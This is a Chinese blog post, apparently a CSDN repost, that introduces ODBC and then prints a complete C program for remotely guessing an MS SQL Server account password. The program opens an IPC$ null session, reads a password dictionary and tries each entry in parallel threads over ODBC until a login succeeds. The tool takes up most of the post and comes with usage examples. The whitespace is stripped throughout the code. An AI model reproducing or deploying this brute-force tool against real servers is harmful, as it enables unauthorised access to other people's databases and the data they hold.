远程检测Server账号性

<script type="text/javascript"><!-- google_ad_client = "pub-2947489232296736"; /* 728x15, 创建于 08-4-23MSDN */ google_ad_slot = "3624277373"; google_ad_width = 728; google_ad_height = 15; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript"><!-- google_ad_client = "pub-2947489232296736"; /* 160x600, 创建于 08-4-23MSDN */ google_ad_slot = "4367022601"; google_ad_width = 160; google_ad_height = 600; //--> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>

ODBC是开放数据互连(OpenDatabaseConnectivity)的简称,它是一个用于远程访问(主要是关系型数据库)的统一界面标准。  ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBCAPI函数可以提供给者使用。对于程序员来说,ODBCAPI函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。

一个应用程序直接调用ODBCAPI函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:
<1>启动ODBC数据库应用程序。
<2>与服务器建立IPCSESSION。
<3>创建数据库应用的环境句柄。
<4>创建连接句柄。
<5>连接数据源。
<6>创建语句句柄。
<7>通过上一步创建的语句句柄来执行SQL操作。
<8>释放语句句柄。
<9>要进行多此SQL操作的话,就循环步骤6-8。
<10>断开与数据库的连接。
<11>释放连接句柄。
<12>释放环境句柄。
<13>断开IPCSESSION。
<14>程序结束。

下面以一个实例来说明远程检测MS账号密码的全过程。

/**********************************************************
ModuleName:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c)eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定义全局变量
chardict[20000][40],//密码字典
UserName[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
inttotal=0;//字典里面单词数量
BOOLCracked=FALSE;//探测密码成功时此值为TRUE
HANDLEhSemaphore,//信标内核对象
hEvent;//事件内核对象
longMaxThreads,//最大线程数量
ActiveThreads;//活动线程数量
////////////////////////////////////////////////////////////////////////
voidusage(char*pragname)
{
printf("/nPowerbyeyas"
"/nhttp://www.patching.net"
"/n2000/12/14"
"/n/nUsage:%s"
"/nExample:%s192.168.0.1sac://pwd.dic50/n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
intReadDic(char*dic)
{
FILE*fp;
chartmp[40];

file://打开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("/nCan'topen%s",dic);
return1;
}

while(!feof(fp))
{
file://读取数据到临时变量
if(fgets(tmp,40,fp)==NULL)
break;
file://把从文件里面读出来的最后一位数据[换行符号]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return0;
}
////////////////////////////////////////////////////////////////////////
intConnIPC(char*RemoteName)
{
NETRESOURCEnr;
DWORDflags=CONNECT_UPDATE_PROFILE;
TCHARRN[30]="////",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"//ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return0;
}
else
{
return1;
}
}
////////////////////////////////////////////////////////////////////////
intDelIPC(char*RemoteName)
{
DWORDret;
TCHARlpName[30]="////";

strcat(lpName,RemoteName);
strcat(lpName,"//ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return0;
}
else
{
return1;
}
}
////////////////////////////////////////////////////////////////////////
DWORDWINAPISQLCheck(PVOIDpPwd)
{
file://定义局部变量
charszBuffer[1025];
char*pwd;
SWORDswStrLen;
SQLHDBChdbc;
SQLHANDLEhenv;
SQLRETURNretcode;//ODBCAPI运行返回值
SCHARConnStr[200];//连接数据库字符串
longPreviousCount;

file://取得传递过来准备探测的密码
pwd=(char*)pPwd;
file://构造连接数据库字符
sprintf(ConnStr,"DRIVER={SQLServer};Server=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://创建数据库应用的环境句柄
if(SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv)!=SQL_SUCCESS)
{
printf("/nAllocateenvironmenthandlefailed./n");
ExitProcess(1);
}
file://设置ODBC版本环境
if(SQLSetEnvAttr(henv,SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3,SQL_IS_INTEGER)!=SQL_SUCCESS)
{
printf("/nSettheODBCversionenvironmentattributefailed./n");
SQLFreeHandle(SQL_HANDLE_ENV,henv);
ExitProcess(1);
}
file://创建连接句柄
if((retcode=SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBCFAR
*)&hdbc))!=SQL_SUCCESS)
{
printf("/nAllocateconnectionhandlefailed./n");
SQLFreeHandle(SQL_HANDLE_ENV,henv);
ExitProcess(1);
}
file://连接数据源
retcode=SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS&&retcode!=SQL_SUCCESS_WITH_INFO)
{
file://连接失败,函数终止
file://printf("/nCouldn'tconnectto%sMSSQLServer./n",target);
}
else
{
file://连接远程MSSQLServer数据库成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://断开连接
SQLDisconnect(hdbc);
}
}//endoftyr
__finally{
file://释放连接句柄
SQLFreeHandle(SQL_HANDLE_DBC,hdbc);
file://释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV,henv);
file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://计算当前活动线程数量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("/nActiveThreads-->%d.",ActiveThreads);
file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//endoffinally
return0;
}

////////////////////////////////////////////////////////////////////////
intmain(intargc,char**argv)
{
HANDLEhThread;//线程句柄
DWORDdwThreadId,dwRet;
inti=0,err=0;
clock_tstart,end;//程序运行的起始和结束时间
doubleduration;

if(argc!=5)
{
usage(argv[0]);
return1;
}
file://取得目标地址,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得并检查用户输入的最大线程数量
MaxThreads=atol(argv[4]);
if((MaxThreads>100)||(MaxThreads<1))
{
usage(argv[0]);
return1;
}
file://读取字典中的单词到内存中
if(ReadDic(argv[3])!=0)
return1;
file://与目标机器建立IPCSession
if(ConnIPC(argv[1])!=0)
{
printf("/nCan'tbuiltIPCNULLSession!");
return1;
}
else
{
printf("/nBuiltIPCNULLSessionsuccess!/n");
}
file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("/nCreateSemaphore()failed.ErrorCode:%d.",GetLastError());
return1;
}
file://创建事件内核对象[人工重置,初始状态为未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("/nCreateEvent()failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return1;
}
file://开始计时
start=clock();
file://开始建立线程探测密码
for(i=0;i{
file://探测密码成功后跳出此循环
if(Cracked==TRUE)
break;
file://显示进度信息
printf("/n[%d/%d]%s->%s->%s",i+1,total,target,UserName,dict[i]);
file://创建线程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://处理创建线程错误的情况
if(hThread==NULL)
{
err++;
MessageBox(NULL,"threaderror","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件内核对象通知,最多等待3分钟
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
caseWAIT_OBJECT_0:
printf("/nAllthreaddone.");
break;
caseWAIT_TIMEOUT:
printf("/nWaittimeout.Exit.");
break;
caseWAIT_FAILED:
printf("/nWaitForSingleObject()failed.");
break;
}
file://断开与目标机器的IPCSession
DelIPC(target);
file://探测密码成功后回显信息
if(Cracked==TRUE)
printf("/n/nSuccess!%sSQLServerUser[%s]passwdis[%s].",target,UserName,passwd);
file://记时结束
end=clock();
file://转换时间格式
duration=(double)(end-start)/CLOCKS_PER_SEC;
file://显示所用时间
printf("/n/nComplete.Use%2.1fseconds./n",duration);
return0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vc++6.0环境下编译通过。


<script type="text/javascript"><!-- google_ad_client = "pub-2947489232296736"; /* 728x15, 创建于 08-4-23MSDN */ google_ad_slot = "3624277373"; google_ad_width = 728; google_ad_height = 15; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript"><!-- google_ad_client = "pub-2947489232296736"; /* 160x600, 创建于 08-4-23MSDN */ google_ad_slot = "4367022601"; google_ad_width = 160; google_ad_height = 600; //--> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
阅读更多
个人分类: 数据库
想对作者说点什么? 我来说一句

远程检测MS账号

zgqtxwd zgqtxwd

2008-04-28 00:02:00

阅读数:189

没有更多推荐了,返回首页

加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!
关闭
关闭